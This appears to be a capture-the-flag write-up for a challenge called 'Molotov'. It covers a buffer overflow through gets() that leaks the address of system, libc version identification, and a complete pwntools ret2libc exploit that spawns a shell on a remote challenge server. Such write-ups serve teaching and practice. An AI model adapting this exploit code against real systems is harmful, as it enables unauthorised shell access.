Molotov

A ret2libc with a given leak

‌Overview

Running the binary prints and hex value and prompts for input:

$ ./molotov
f7d9ef00
Input :

We can definitely cause it to segfault:

$ python3 -c 'print("A"*300)' | ./molotov
f7d61f00
Input : 
Segmentation fault

So let's work out what this value is and how we can use it.‌

Decompilation

We chuck the binary into GHidra and get a simple disassembly. main calls vuln and does almost nothing else. vuln, however, has some interesting stuff:

int vuln(void){
    char buffer [24];
    
    printf("%x\n",system);
    puts("Input : ");
    
    gets(buffer);
    
    return 0;
}

It prints the address of system! Awesome.‌

Let's run the binary on the remote serevr to leak the libc version.

$ nc 54.210.217.206 1240
f7d3c8b0
Input :

So now we essentially have a libc leak, we head over to find the libc version.

Annoyingly, there are 4 possible libc versions, and we can only get it from trial and error. Aside from the libc version itself, the exploit is quite simple - subtract the offset of system from the leaked address to get libc base, then use that to get the location of /bin/sh.

The correct libc version is 2.30-0ubuntu2.1_i386.‌

Exploitation

from pwn import *

elf = context.binary = ELF('./molotov')

if args.REMOTE:
    libc = ELF('./libc-remote.so')
    p = remote('54.210.217.206', 1240)
else:
    libc = elf.libc
    p = process()

addr = int(p.recvline(), 16)
p.clean()

libc.address = addr - libc.sym['system']

rop = ROP(libc)
rop.raw('A' * 32)
rop.system(next(libc.search(b'/bin/sh\x00')))

p.sendline(rop.chain())
p.interactive()

Last updated